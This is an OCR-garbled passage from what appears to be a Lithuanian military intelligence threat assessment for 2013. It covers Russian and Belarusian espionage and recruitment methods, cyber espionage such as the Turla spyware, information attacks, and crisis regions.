klausimg Moldovos ir Ukrainos spaudimui, bet nesiima realiy Sio separatistinio regiono
galutinio atskyrimo nuo Moldovos arba prijungimo prie Rusijos veiksmy. Potencialiai
labiausiai regionas buty destabilizuotas, jeigu Rusija nuspresty jvykdyti teritorinio
susijungimo su Padniestre scenarijy per pietines Ukrainos sritis.
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Kol kas néra jokiy akivaizdZiy poZymiy, kad konflikto dél Kalny Karabacho
sprendimas politinémis priemonémis gali pajudéti i mirties tasko. Arménija ir
AzerbaidZanas islaiko labai grieztg retorikg ir vykdo savo ginkluotyjy pajégy stiprinimo
programas. Rusija iSlieka pagrindiniu Arménijos saugumo garantu. 2013 m. Rusija
stiprino jtakg Arménijoje ir pasieké, kad $i Salis atsisakyty glaudesnio bendradarbiavimo
su ES bei pasirinkty naryste Muity sgjungoje. 2014 m. turi buti pasirasSyti formalus
susitarimai dél Arménijos jtraukimo j $ig organizacija.

Gruzijos separatistiniuose regionuose dislokuotas Rusijos karinis kontingentas
didina jos jtaka Piety Kaukazo regione. Rusijos jsitvirtinimas Abchazijoje ir Cchinvalio
rajone (Piety Osetijoje) palaiko nuolatine karine jtampa Gruzijos pasienyje ir labai
sumazina galimybes artimoje perspektyvoje iSspresti Gruzijos teritorinio integralumo
klausimg. Po 2012 m. parlamento ir 2013 m. prezidento rinkimy, kardinaliai pasikeitus
Salies politiniy jégy pusiausvyrai, Gruzija siekia dvisaliy santykiy su Rusija
normalizavimo, bet deklaruoja, kad euroatlantiné integracija iSlieka jos prioritetu.
Tikétina, kad dél intensyvéjancio Gruzijos bendradarbiavimo su ES ir NATO jai teks
susidurti su vél auganciu Rusijos spaudimu.

Rusijos kontroliuojama kariné NVS erdvés Saliy organizacija - KSSO - ir toliau
islieka ne bendry interesy vienijamu funkcionaliu aljansu, o priedanga Rusijos kariniam
bendradarbiavimui su atskiromis organizacijos narémis.

PRIESISKA ZVALGYBINE VEIKLA

Rusijos Zvalgybos ir saugumo tarnyby veikla

Aktyviausiai Zvalgybine veikla, nukreiptg prie§ Lietuvos nacionalinj saugumg ir
valstybés interesus, vykdo Rusijos Zvalgybos ir saugumo tarnybos: UZsienio Zvalgybos
tarnyba (SVR), Federaliné saugumo tarnyba (FSB) ir Ginkluotyjy pajéguy Generalinio
Stabo Vyriausioji Zvalgybos valdyba (GRU).

FSB, pasinaudodama jai suteiktais placiais igaliojimais, aktyviai veikia pries
Rusijoje vieSincius su Lietuvos gynyba susijusius asmenis ir ypac - pries Sioje valstybéje
reziduojantj Lietuvos gynybos atasé biuro personalg. Taip pat FSB turi iSvystytus
kibernetinio Snipinéjimo ir Kkitus Zvalgybos techninémis priemonémis pajégumus,
kuriuos aktyviai naudoja rinkdama informacijg, susijusig su Lietuvos gynybine galia.

Pazymeétina, kad aktyviausiai Zzvalgybine veiklg, nukreipta prieS Lietuvos
gynybine galig ir krasto apsaugos sistema (KAS) Lietuvoje ir i§ Rusijos teritorijos vykdo
GRU. GRU nuolat domisi:

= su Lietuvos gynyba susijusia infrastruktira;

= KAS personalu ir jy pasirengimu;

= Lietuvos gynybiniais pajégumais ir galimybémis;

= uz Salies gynyba atsakingy institucijy pazeidZziamumu;

= Lietuvos dalyvavimu tarptautinése karinése misijoje ir operacijose;

* tarptautiniais Kkariniais projektais, bendradarbiavimu gynybos srityje ir
pasirengimu vykdyti Salies gynyba su NATO partneriais.

Siekdamos surinkti jslaptintg ir kita su Lietuvos gynyba susijusig svarbig ir
Rusijos informacijos poreikius atitinkancig informacija, Rusijos Zvalgybos ir saugumo
tarnybos naudoja platy spektra zZvalgybos metody (Zr. schema Zemiau).
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1. Zmogiskoji Zvalgyba. Sis 7zvalgybinés veiklos metodas remiasi informacijos
rinkimu bendraujant su Zmonémis. DidzZiausig Zvalgybinio pobudzZio grésme Lietuvos
gynybos interesams kelia Rusijos Zvalgybos ir saugumo tarnyby uZverbuoty agenty ir
informacijos $altiniy panaudojimas. Sio pobiidZio bendradarbiavimas vyksta slaptai,
laikantis grieztos konspiracijos ir remiasi abipusiu Zvalgybos tarnybos atstovo ir
uzverbuoto asmens susitarimu. Taip pat Rusijos Zvalgybos tarnyby atstovai informacija
renka dalyvaudami jvairaus pobudZio renginiuose ir bendraudami su Lietuvos gynyba
susijusiy institucijy darbuotojais dvisalio bendradarbiavimo arba kitu pagrindu.

Susitarimasir
bendradarbi

aikinio
parinkimas

Verbavimo taktika

Rusijos
zvalgybos tarnyby
atstovai, siekdami

sukurti agenturinj ir
informacijos  Saltiniy
tinklg, kuris teikty
zvalgybos  poreikius

atitinkancia
informacija bei
vykdyty kitas
Zvalgybines uZduotis,
naudoja tradicine
keturiy etapy

verbavimo taktikg (Zr.
schema kairéje).



14

Rusijos Zvalgybos ir saugumo tarnybos asmenis (verbavimo taikinius), kurie bus
verbuojami, pasirenka ne atsitiktinai, o pagal Siuos pagrindinius kriterijus:

1.  Asmens galimybé gauti dominancig informacijq ir vykdyti kitas Zvalgybines

uzduotis Siuo metu arba ateityje.

2. Asmens motyvas bendradarbiauti su uZsienio Zvalgybos ir saugumo

tarnybomis arba galimybés jj paveikti pasinaudojant jo pazeidZiamumu

(nusivylimu, pyk¢iu, sudétinga finansine padétimi, priklausomybémis, prorusiska

ideologija, turimais ir turétais giminystés, mokslo, tarnybos rySiais su Rusija ir

kt.).

Paprastai informacija apie pasirinktg verbavimo taikinj renkama slaptai, Siam
nezinant. Informacija renkama i$ atviry ir lengvai prieinamy informacijos Saltiniy, tokiy
kaip socialiniai tinklai (pvz., ,Facebook®, ,Twitter” ir kt. profiliai), spauda (jskaitant
leidinius, leidZiamus KAS), taip pat verbavimo taikinio aplinkos, pasinaudojant Rusijos
zvalgybos ir saugumo tarnyby darbuotojy agentiriniu ir informacijos Saltiniy tinklu,
sekant bei renkant informacija techninémis priemonémis (vykdant el. pasto ir telefono
pokalbiy kontrole).

Nustacius, kad verbavimo taikinys atitinka minétus verbavimo taikinio parinkimo
kriterijus, pradedamas aktyvus jo verbavimo procesas, t. y. vykdomas priartéjimas prie
taikinio ir organizuojamas pirminis kontaktas, kuris paprastai taikiniui atrodo kaip
atsitiktinis ir nekeliantis jokiy jtarimy. Priartéjimo prie taikinio, kaip ir kituose etapuose,
aktyvius veiksmus verbuojamo asmens atzvilgiu gali vykdyti pats Rusijos Zvalgybos ar
saugumo tarnybos darbuotojas arba jo jau uzverbuotas agentas.

UZmezge pirminj kontaktg, Rusijos Zvalgybos ar saugumo tarnyby darbuotojai
pamazu siekia vis didesnio verbavimo taikinio pasitikéjimo ir draugystés. Sio
»draugisko“ bendravimo pradZioje praSoma pateikti nejslaptintos informacijos ir atlikti
i$ pirmo zvilgsnio nereikSmingas uzduotis, uz kurias atsilyginama maza dovanéle ar
paslauga. Ilgainiui uzduotys tampa sudétingesnés, o prasomos informacijos turinys
tampa susijes su tarnybos ar valstybés paslaptimis. Daugeliu atvejy verbavimo taikiniui
tiesiogiai nepasiuloma Snipinéti kitos valstybés naudai, bet j Sig nusikalstamg veiklg
asmuo jtraukiamas palaipsniui ir nepastebimai.

Atkreiptinas démesys, kad verbavimo procesas paprastai yra ilgalaikis, galintis
testis iki keleriy mety, o jo trukmé daZniausiai priklauso nuo verbavimo taikinio svarbos
ir verbuojamojo asmens motyvo bendradarbiauti. Pazymétina, kad uZverbavus asmenj
informacijos rinkimas apie jj ir jo Seimos narius bei asmeninio gyvenimo slaptas
kontroliavimas néra nutraukiamas. Rusijos Zvalgybos ir saugumo tarnybos siekia
sukurti tokias aplinkybes, kad uZverbuotam asmeniui buty sudétinga atsisakyti testi
bendradarbiavimg (asmuo skatinamas patraukliu piniginiu atlygiu, vertingomis
dovanomis, o kritiniu atveju - taikant prievartos metodus (Santazuojant)). Tokie Rusijos
Zvalgybos ar saugumo tarnyby darbuotojy veiksmai - kruopS$ciai suplanuota zZvalgybiné
operacija.

Veikiant prie§ Lietuvos gynybine galig, Zvalgybinei priedangai aktyviai
panaudojamas Rusijos gynybos atasé biuro Lietuvoje personalas, priklausantis Rusijos
karinei Zvalgybai GRU. Naudodamiesi diplomatiniu statusu, GRU darbuotojai jvairiais
Zvalgybiniais metodais renka Rusijos kariniam planavimui reikalingg informacija. Be
diplomatinés priedangos, palankias salygas vykdyti Zvalgybine veiklg sudaro ir Lietuvoje
veikianC¢iy Rusijos remiamy ir finansuojamy nevyriausybiniy organizacijy ir kity
subjekty veikla. GRU darbuotojai, veikiantys po diplomatine priedanga, dalyvauja
Afganistano karo veterany kluby, Vs] ,VVKUR®, Lietuvos karo istorijos asociacijos
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,UzZmirsti kareiviai“, V8] ,Karo paveldo institutas“ renginiuose, kuriuose neretai
dalyvauja ir su Lietuvos gynyba susijes personalas.

Snipinéjimo tyrimai nebiitinai uzbaigiami uZsienio Zvalgybos tarnyby pareigiino
/ agento sulaikymu ar iSsiuntimu i$ valstybés. Kartais efektyviau pasinaudoti uZsienio
zvalgybos tarnyby priesisSka veikla, rinkti apie jg Zvalgybine informacijg ir, tokia veikla
kontroliuojant, neutralizuoti Snipinéjimu daromg zalg.

2. Zvalgyba techninémis priemonémis. Rusijos Zvalgybos tarnybos, rinkdamos
informacija, susijusia su Lietuvos gynybine
galia, aktyviai naudoja turimus signaly
zvalgybos ir kibernetinio S$nipinéjimo
pajégumus.

Signaly Zvalgyba. Kaliningrado
srityje dislokuoti Rusijos zZvalgybos ir
. saugumo tarnyby antZeminiai signaly
Rusijos Zvalgybinis léktuvas 11-20 zvalgybos infrastruktiiros objektai leidZia

vykdyti plataus spektro komunikacijy
(radijo, mobiliojo, palydovinio,
radiolokacinio ir kity signaly) perémima
visoje Lietuvos teritorijoje. Vykdant
signaly Zvalgyba be antZeminiy objekty
naudojamos ir  mobilios  signaly
zvalgybos  platformos, tokios kaip
zvalgybos laivai ir léktuvai. Zvalgybos ir
saugumo tarnybos signaly Zvalgybos
priemonémis renka informacija apie su
Lietuvos gynybine galia ir KAS susijusig infrastrukturg, objektus bei personala.

Kibernetinis $nipinéjimas. Rusijos Zvalgybos ir saugumo tarnyby vykdoma
zvalgybiné veikla naudojantis kibernetinés erdvés galimybémis, siekis padidinti jau
turimus kibernetinius pajégumus ir jgyti dar didesne svarbg kibernetinéje erdvéje kelia
grésme Lietuvos nacionaliniam saugumui ir Salies gynybinei galiai. Rusijos Zvalgybos
subjekty turima techniné jranga, skirta kompiuteriniy tinkly srautui perimti, taip pat
jranga, leidzianti kontroliuoti socialiniy tinkly vartotojus, vykdyti kompiuteriy ir
mobiliyjy jrenginiy nuotoline kontrole, bevielio kompiuterinio tinklo analizatoriai ir
pan. jau dabar leidZia Rusijos Zvalgybos bei saugumo tarnyboms vykdyti $Snipinéjima,
aktyvigsias puolamgsias (prasiskverbimo) operacijas arba kitaip kontroliuoti
automatizuoty duomeny apdorojimo (ADA) sistemy ir tinkly vartotojus.

(Detalesné informacija pateikta kibernetiniy grésmiy vertinime.)

3. Zvalgyba i$ atviryjy informacijos 3altiniy. Sis Zvalgybos metodas
priskiriamas ,baltajai Zvalgybai®, kuri apima informacijos rinkima i$ vieSai prieinamy
informacijos Saliniy, pateikian¢iy informacijos Lietuvos gynybos tematika. Informacija,
atitinkanti Rusijos zvalgybos tarnyby poreikius, renkama ne tik informaciniuose
interneto portaluose, forumuose, svetainése, bet ir i§ KAS bei kity institucijy ir
organizacijy leidZiamy informaciniy leidiniy bei moksliniy straipsniy. Informacija i$
atviryjy Saltiniy, kuri neretai skelbiama per daug atvirai, papildo bendra Zvalgybineés
situacijos paveikslg ir yra tikrinama Kkitais Zvalgybiniais metodais. UZsienio Zvalgybos ir
saugumo tarnybos taip pat gali pasinaudoti pernelyg atvirai vieSojoje erdvéje (pvz.,

VISHNYA klasés zvalgybos laivas
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socialiniuose tinkluose, forumuose) skelbiama asmeninio pobuidZio ir su darbine veikla
susijusia informacija.

Baltarusijos Zvalgybos ir saugumo tarnybuy veikla

Prie§ Lietuvos nacionalinj saugumg ir valstybés interesus veikia Baltarusijos
valstybés saugumo komitetas (KGB) ir Baltarusijos ginkluotuyjy pajéguy Generalinio $tabo
Vyriausioji Zvalgybos valdyba (GRU).

Baltarusijos KGB pagrindiné uZduotis yra uZztikrinti Baltarusijos autoritarinio
reZimo saugumg ir politinj stabilumg Salyje. Prie§ Lietuvos gynybine galig veikia
Baltarusijos GRU, kuri zvalgybine veiklg vykdo Lietuvos teritorijoje ir iS Baltarusijos
teritorijos. PaZymétina, kad Sios tarnybos Zvalgybinés veiklos metodai ir doméjimosi
sritys yra labai panas$us, o atskirais atvejais ir sutampa su Rusijos GRU veiklos metodais
bei interesais. Vykdydama Zmogiskajq Zvalgyba, be kity priedangy Baltarusijos GRU
zvalgybiniams tikslams pasiekti naudojasi ir Zurnalistine priedanga. Rusijos ir
Baltarusijos Zvalgybos tarnybos, siekdamos zZvalgybiniy tiksly ir didindamos
informacijos prieinamuma, aktyviai bendradarbiauja keisdamosi Zvalgybinio pobtdZio
informacija ir vykdydamos operacijas.

KIBERNETINIU GRESMIU VERTINIMAS

2013 m. kibernetiniy incidenty skaicius pries Lietuvos valstybiniy institucijy ADA
sistemas ir tinklus, privac¢iy kompanijy bei asmeny kompiuterius didéjo, o iSpuoliy
technologijos, metodai bei buidai neteisétam prasiskverbimui, lyginant su 2012 m., dar
labiau sudétingéjo.

Kibernetinius iSpuolius prie$ Lietuvos valstybiniy institucijy ADA sistemas ir

tinklus, privacias kompanijas bei asmenis skirtingais tikslais vykdo skirtingi
kibernetiniai jsibrovéliai, kuriuos santykinai galima suskirstyti j dvi grupes. Pirmajai
grupei priskirtini valstybés ar valstybés remiami, finansuojami kibernetiniai jsibrovéliai,
vykdantys valstybés, Zvalgybos ir saugumo tarnyby uzsakymus, turintys pakankamai
iStekliy, pajégumuy bei aiSkiai iSreikStus ketinimus vykdyti veiklg kibernetinéje erdvéje.
Antrajai grupei priskirtini kibernetiniai jsibrovéliai, kibernetinéje erdvéje siekiantys
asmeninés turtinés ar kitokios naudos bei veikiantys savarankiskai, t. y. be valstybeés,
saugumo ir Zvalgybos tarnyby nurodymuy ar uZsakymu.
AOTD vertinimu, didzigja dalj kibernetiniy incidenty, nukreipty prieS Lietuvos
valstybiniy institucijuy ADA sistemas ir tinklus, 2013 m. vykdé uZsienio valstybiy
zvalgybos ar saugumo tarnybos ar su Siomis tarnybomis susije arba S$iy tarnyby
kontroliuojami ir remiami subjektai. DidZiausius kibernetinius pajégumus, nukreiptus
rinkti informacija, trikdyti ADA sistemy ir tinkly funkcionavimg, juos uzvaldyti arba
kitaip paveikti, turi Rusijos Zvalgybos ir saugumo tarnybos, ypa¢ FSB strukturiniai
padaliniai.

Kibernetinis Snipinéjimas
Vykdant aktyvigsias kontrzvalgybos priemones3, kibernetinéje erdveéje 2013 m.
pirmajj pusmetj uZfiksuoti kibernetiniai incidentai, susije su S$nipinéjimui skirty

3 Aktyviosios kontrzvalgybos priemonés - tai kontrzvalgybiniai tyrimai, analizé ir operacijos, butini
nustatyti, jvertinti ir pasalinti ar sumazinti rizikos veiksnius, pavojus ir grésmes, kylancias Salies gynybinei
galiai. Pasyviosios kontrzvalgybos priemonés - tai veiksmai, skirti informacijos, sudarancios valstybés ar
tarnybos paslaptj, apsaugai ir kontrolei organizuoti ir vykdyti. Sios priemonés apima ir prevencinius
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programy platinimu. Snipinéjimo programos veikla arba $ios programos pédsakai buvo
aptikti daugelio valstybés institucijy ADA sistemose ir tinkluose. Departamento aptikta
Snipinéjimo programa ir jos naujosios versijos skirtos kompiuteryje esanc¢iy duomeny
rinkimui, nuotoliniam uZkrésto kompiuterio administravimui, tinklo monitoringui,
paskyry ir slaptaZodZiy identifikavimui tinkle, taip pat vaizdo bei garso fiksavimui.
Nustatyta, kad Snipinéjimo programos iSplito kompiuteriuose, kuriuose buvo
apdorojama informacija, susijusi su Lietuvos vidaus ir uZsienio politika, vidaus saugumu,
energetikos projektais, ES ir Lietuvos pirmininkavimu ES Tarybai.

Atkreiptinas démesys, kad tarptautiniy informaciniy technologijy (IT)
kompanijy* 2014 m. identifikuotos Snipinéjimo programos (,Snake rootkit“, ,Turla“
,Uroburos*) yra 2012 m. AOTD aptiktos $nipinéjimo programos naujausios versijos. Sios
ataskaitos priede pateikta naujesné 2012 m. vieSojoje ataskaitoje paskelbtos Snipinéjimo
programos versija. Tai Snipinéjimo programos techniné analizé, pagal kurig jmoniy ar
jstaigy informaciniy technologijy specialistai ir privatiis asmenys galéty patikrinti savo
jstaigos kompiuteriy tinklus ir asmeninius kompiuterius.

2013 m. buvo fiksuojami ir nuolatiniai bei agresyvis valstybés institucijy
interneto tinkly Zvalgybinio pobudZio skenavimai, kuriy pagrindinis tikslas susijes su
informacijos rinkimu apie kompiuterio ar tinklo pazeidZiamumus, leidziancius neteisétai
juos uzvaldyti ar kitaip veikti.

Kibernetinés atakos

Kibernetiniai jsibrovéliai 2013 m. ne tik aktyviai Snipinéjo, bet ir trikdé Lietuvos
valstybiniy instituciju informaciniy sistemy veiklg. Dél to galéjo buti padaryta Zala
Lietuvos nacionaliniam saugumui ir Salies gynybinei galiai. Turimais duomenimis, 2013
m. antrojoje puseéje prieS Lietuvos valstybines institucijas skirtingu laiku buvo jvykdytos
atsisakymo aptarnauti (DDoS tipo) atakos, buvo nustatytas padidéjes uzkresty lietuvisky
interneto svetainiy skaicius, tikétina, dél tiksliniy kibernetiniy ataky kurj laika neveiké
daugelio valstybés institucijy interneto svetainiy apsaugos sistemos. Be to, buta kai
kuriy valstybés institucijy jvairiy informaciniy sistemy sutrikimy, siejamy su
tiesioginémis kibernetinémis atakomis.

Kibernetiniy ataky skaiciaus padidéjimg antrajame 2013 m. pusmetyje galima
sieti su Lietuvos pirmininkavimu ES Tarybai, 2013 m. rudenj vykusiais Rusijos-
Baltarusijos kariniais mokymais ,Zapad 2013 NATO pratybomis ,Steadfast Jazz 2013“,
taip pat ir su 2013 m. pabaigoje prasidéjusiais jvykiais Ukrainoje. Neatmestina, kad
techniniai informaciniy sistemy sutrikimai, uzkréstos svetainés ir neveikiancios
lietuviSky svetainiy apsaugos sistemos, kiti incidentai gali buti susije su galimomis
kibernetinémis atakomis prie§ Sias sistemas, o ataky tikslai galéjo biti dvejopo
pobudzio. Pirmiausia kibernetines atakas galima vertinti kaip nukreipiancigsias, t. y.
atakos vykdomos tol, kol pavyksta ijsiskverbti | atakuojamg sistemg (sistemas),
neatsizvelgiant j tai, kad apsaugos sistemos informuoja apie atremta ataka. Kita vertus,
minétas atakas bei incidentus galima vertinti ir kaip didelio masto Zvalgybine operacija
arba jsiskverbimo fazés parengiamuosius darbus, kuriy tikslas gali buti ir nesusijes su
Zalos pavienéms sistemoms ar jrenginiams padarymu, bet Zvalgybinés operacijos metu

veiksmus, uztikrinancius ne tik jslaptintos informacijos apsauga, bet ir fizinj sauguma, taikoma jvairiuose
KAS objektuose, Lietuvos nuolatinéje atstovybéje prie NATO ir gynybos atasé biuruose, bei KAS personalo
patikimuma ir KAS islaptinty sandoriy saugumo uztikrinima.

4 GData“, ,BAE System*.
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surinkta informacija ateityje (iS anksto numatyta dieng X) gali buti panaudota didelio
masto kibernetinei atakai. Verta pamineéti, kad 2013 m. didelio masto kibernetiniy atakuy,
iSskyrus ataka prie$ interneto portalg ,Delfi, Lietuvoje nebuvo, bet, AOTD turimais
duomenimis, panasaus pobudZzio atakos buvo planuojamos maziausiai du kartus.

Kito pobudzio kibernetiniai incidentai

Be kibernetinio Snipinéjimo, kibernetiniy ataky ir valstybés institucijy interneto
tinkly Zvalgybiniy skenavimy, 2013 m. KAS personalas nuolat patirdavo galimai
socialinés inzinerijos (spear phishing) pobiidzio kibernetinius incidentus, kai j savo
tarnybinj el. pasta gaudavo elektroninius laiSkus su pridétais failais arba nuorodomis.
DazZniausiai tokio pobudZio atakos vykdomos siekiant neteisétai gauti kompiuterio
vartotojo vardg, prisijungimo slaptazodzius, taip pat kontroliuoti pasto déZute. Atidarius
pridétus failus (dokumentus) arba paspaudus nuorodg, kompiuteris uzkrec¢iamas ir j
tarpinius serverius siunc¢iami pavogti duomenys. Atkreiptinas démesys, kad po
socialinés inZinerijos atakos dalis Sios atakos respondenty po tam tikro laiko biidavo
pakartotinai atakuojami (vykdant DDoS tipo atakg arba bandant instaliuoti $nipinéjimo
programa, iSsiunciant elektroninj laiska su pridétu failu su Snipinéjimo uzkratu viduje).

Grésmeés mobiliyjy jrenginiy vartotojams

2012 m. AOTD vieSojoje ataskaitoje prognozavome, kad ateityje mobiliyjy
technologijy vartotojai sulauks daugiau démesio, t. y. kibernetiniai jsibrovéliai nemazai
pastangy nukreips | naujy paZeidziamumy Siose technologijose paieSkas. Per
pastaruosius kelerius metus pasaulyje ypac iSauges mobiliy jrenginiy (ypac iSmaniyjy)
pardavimas kibernetiniy agresoriy nebuvo nepastebétas. Lygiagreciai su Siy jrenginiy
pardavimu panaSiu laikotarpiu daugéjo ir kibernetiniy ataky, nukreipty pries
mobiliuosius jrenginius, nepriklausomai nuo mobiliy jrenginiy operaciniy sistemuy.
Prognozuojama, kad ataky skaicius ateityje augs.

Atkreipiame démesj, kad pasaulio rinkoje atsirado jrangos, skirtos mobiliyjy
technologijy (iSmaniyjy telefony) vartotojams Snipinéti, kuriai nereikia, kad vartotojas
atlikty kokius nors papildomus veiksmus, t. y. vartotojui nebereikia spausti jokiy
nuorody, parsisiysti kokiy nors programy. Mobiliyjy jrenginiy vartotojui uZtenka tik
apsilankyti uzkréstame puslapyje arba gauti uzkrésta SMS Zinute iS paZjstamo arba
nepazjstamo asmens (Zinutés turinys reikSmés neturi). AnkSciau, norint | mobilyjj
jrenginj instaliuoti Snipinéjimui skirta programa, buvo butinas fizinis kontaktas su
telefono aparatu arba reikéjo, kad mobilaus jrenginio vartotojas aparatu atlikty tam
tikrus veiksmus (paspausty gauta nuoroda, parsisiysty programa ir pan.).

kkk

Tikétina, kad Sios Snipinéjimo priemonés, taip pat Rusijos Zvalgybos subjekty
turima techniné jranga jau dabar leidZia Rusijos Zvalgybos bei saugumo tarnyboms
vykdyti Snipinéjimg, aktyvigsias puolamasias (prasiskverbimo) operacijas arba kitaip
kontroliuoti ADA sistemuy ir tinkly vartotojus.

AOTD vertinimu, kibernetiniy incidenty skaicius didés, o pati kibernetiné
erdvé bus viena pagrindiniy uZsienio valstybiy veiklos erdviy vykdant tiek
Snipinéjima, tiek kitaip trikdant svarbiy Lietuvos nacionaliniam saugumui, Salies
gynybinei galiai, kity svarbiy valstybés objekty, taip pat privataus sektoriaus bei
privaciy asmeny ADA sistemas, tinklus bei atskirus kompiuterius.
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UzZsienio valstybiy Zvalgybos tarnyboms ir (ar) su jais susijusiems, galimai
kontroliuojamiems subjektams kibernetinj Snipinéjima bei kita pavojinga veikla
kibernetinéje erdvéje (zZvalgybinj skenavima, kibernetines, socialinés inZinerijos
atakas ir pan.) paprasciau vykdyti leido Sie veiksniai:

= Kkibernetinio saugumo jstatymo ir efektyviai funkcionuojancios institucijos,
atsakingos uZ kibernetinj sauguma (gynyba), nebuvimas;

= standartizuoty ADA sistemy ir tinkly, atskiry, prie tinkly neprijungty
kompiuteriy privalomy minimaliy saugumo uZtikrinimo reikalavimy
nebuvimas ar esamy minimaliy reikalavimy nesilaikymas;

» lengvabudiSkas / neatsakingas elgesys dirbant su ADA sistemomis ir
tinklais bei su prie tinkly neprijungtais kompiuteriais.

INFORMACINES GRESMES

[Sorés veikéjy informacinés atakos prieS Lietuva tapo nuolatinémis. Jy
intensyvumas ypac iSaugdavo tada, kai Lietuva aktyviai jsijungdavo j tarptautinius
procesus ar stengdavosi jgyvendinti savo uZsienio ir vidaus politikos prioritetus.
Esminiai Rusijos informacinés politikos uZdaviniai - didinti Lietuvos visuomenés
priklausomybe nuo Rusijos kuriamo informacinio turinio, prisidéti prie visuomeneés,
atskiry jos grupiy ar individy mentaliteto ir pasauléjautos formavimo, skatinti
susiprieSinimg visuomenés viduje ir su uZsienio partneriais. [gyvendinant Siuos
uzdavinius siekiama pagrindinio tikslo - naudojantis informacinémis priemonémis
uzsitikrinti, kad Lietuvos vykdoma politika atitikty Rusijos interesus.

2013 m. uZsienio informaciniuose kanaluose aktyviai atspindéta Lietuvos veikla
siekiant gilinti Ukrainos bendradarbiavimg su ES, plétojami energetinés
nepriklausomybés projektai, parama JAV prieSraketinés gynybos programai, diskusijos
dél Rusijos ir Baltarusijos karinio aktyvumo bei noras gerinti NATO matomuma Baltijos
regione. I$8Ukj sudaro ne tiek toks temy parinkimas, kiek jy pristatymo buidas uzZsienio
informaciniuose kanaluose ir greita sklaida tarp jvairiy Saltiniy. DaZnai tema pateikiama
jterpiant Rusijos interesus ir pozicijg atitinkancig informacija. Lietuvoje esancios placios
jvairios informacijos sklaidos galimybés sudaro salygas, kad Rusijos Ziniasklaidoje
pateikiama informacija buity pasiekiama ir Lietuvos gyventojames.

2013 m. rugséji vyke strateginiai mokymai ,Zapad 2013“ ir 2013 m. gruodj
pasirodziusi informacija apie galima ,Iskander” komplekso dislokavimg Kaliningrado
srityje parodé, kad kritiniais atvejais Rusijai tinkamam informaciniam laukui suformuoti
panaudojamas platus arsenalas priemoniy - nuo auksciausiy politiniy vadovy
pareiSkimy iki Lietuvg paSiepianciy karikatury. Lietuvos vykdomi veiksmai taip pat
panaudojami savai veiklai pagristi. Dideles skaitytojy auditorijas turinciuose leidiniuose
buvo galima perskaityti, kad Rusija ir Baltarusija turi teise vykdyti ginkluotyju pajégu
kovinio rengimo tobulinimg, kai NATO pratybose ,Steadfast Jazz“ stengiamasi atremti
grésmes iS Ryty. ,Iskander” dislokavimas esg yra tik viena iS priemoniy, atsakant i
prieSraketinés gynybos elementy dislokavimg Europoje.

Testos iniciatyvos, skirtos pozityviam euraziniy projekty (Muity sgjunga,
Eurazijos ekonominé sgjunga) ivaizdZiui formuoti. Pastebétina, kad pirmiausiai $i veikla
yra nukreipta j minéty organizacijy Saliy nariy vidine auditorija, bet taip pat siekiama
informuoti apie galimg naudg Lietuvos Zmonéms ir verslui. Apie panasia patrauklumo ir
naudos Lietuvai galimybe informaciniuose Saltiniuose kalbama ir tuomet, kai aptariami
Baltijos regione Rusijos plétojami energetikos projektai.
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Bent jau artimoje ateityje prieS Lietuva vykdomy informaciniy ataky
intensyvumas nemazeés. Artimiausiu metu pagrindiniai taikiniai bus Lietuvos pozicija
Rusijos-Ukrainos konflikto atZvilgiu ir NATO sprendimas didinti karinius pajégumus
Ryty Europoje. Po Ukrainos jvykiy iSauges Lietuvos visuomenés démesys informacinéms
atakoms Rusijg tik dar labiau paskatins ieSkoti naujy poveikio metody. Tikétina, kad
formuojant Lietuvos vie$gja nuomone bus stengiamasi labiau naudotis socialiniais
tinklais ir aktyviau veikti Lietuvos Ziniasklaidoje. NemaZinant pastangy formuoti visos
Lietuvos vieSaja nuomone, gali buti suaktyvintas darbas su jaunimo grupémis ir
rusakalbiais Lietuvoje.

KRIZIY REGIONAI

Kai kuriuose geografiSkai nuo Lietuvos nutolusiuose pasaulio regionuose
egzistuoja salygos, dél kuriy formuojasi jtampos ir nestabilumo Zidiniai, kyla etniniai,
religiniai ar tarpvalstybiniai konfliktai. Budama tarptautinés bendruomeneés, NATO ir ES
naré, Lietuva prisideda stengiantis sureguliuoti Siuos konfliktus. AtsiZvelgiant | tai,
nestabiliuose regionuose vykstantys procesai ir reiSkiniai tampa svarbiais veiksniais
Lietuvos nacionaliniam saugumui.

Afganistanas

2013 m. Afganistano nacionalinéms saugumo pajégoms perémus atsakomybe uz
didziaja dalj Salies teritorijos, ryskus situacijos pageréjimas ar pablogéjimas nejvyko.
Saugumo situacija Salyje iSliko nestabili, o dél sukiléliy veiklos Zuvo 5 371 civilis
afganistanietis. Saugumo situacijos nestabilumas lemia létg Salies ukio vystymasi ir
didele priklausomybe nuo tarptautiniy donory finansinés pagalbos.

2014 metais situacija Salyje liks jtempta. UZsitese politiniai nesutarimai,
visuomenés susiskaldymas, tarptautiniy pajégy iSvedimas ir nepakitusi konfrontaciné
Talibano pozicija gali dar labiau destabilizuoti situacija. Kita vertus, taikus valdzios
perdavimas po 2014 m. prezidento rinkimy padéty isSlaikyti stabilumg Salyje. Toliau
stipréjancios Afganistano nacionalinés saugumo pajégos, nenutruikusi tarptautiné
parama ir visuomenéje jsitvirtinantis nepritarimas Talibanui yra veiksniai, kurie galéty
paskatinti talibus ieSkoti kompromisy ir derétis dél ginkluotos kovos nutraukimo. 2014
m. vyksiantys pokyciai Salies politikoje, ekonomikoje ir saugumo situacijoje lems, ar
Afganistanas ir toliau palaipsniui vienysis, tes reformas ir vystysis, ar susiskaldys ir
nugrims j nesibaigiancius gentinius-etninius konfliktus.

Vidurio Rytai ir Siaurés Afrika

2013 m. tarptautinés bendruomenés démesio centre Vidurio Ryty regione isliko
Sirija. 2013 m. rudenj prasidéjes Sirijos cheminio ginklo sunaikinimo procesas neturi
reikSmingos jtakos vidaus situacijai, kuri tebéra aklavietéje: nei reZimas, nei jam
oponuojancios grupés ginkluotame konflikte nesugeba pasiekti esminio persilauzimo.
Nuo 2011 m. Sirijoje Zuvo daugiau kaip 140 tikst. Zmoniy.

Sirijos konfliktas daro didele jtaka nestabilumui visame regione, labiausiai Irake
ir Libane, kur aStréja tarpkonfesiné prieSpriesa ir didéja ekstremistiniy grupuociy
aktyvumas. Taip pat konfliktas sukélé didelio masto regionine humanitarine krize -
pabégéliy srautai kelia rupestj kaimyninéms valstybéms ir didina socialinés jtampos
tikimybe.
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Vidurio Rytuose iSlieka intensyvi Irano ir Saudo Arabijos konkurencija dél
regiono lyderio statuso. Pagrindinés Irano ir Saudo Arabijos kovos dél jtakos arenos yra
konfesiniu pozituriu nevienalytés regiono valstybés: Sirija, Libanas, Irakas. Tesiasi Irano
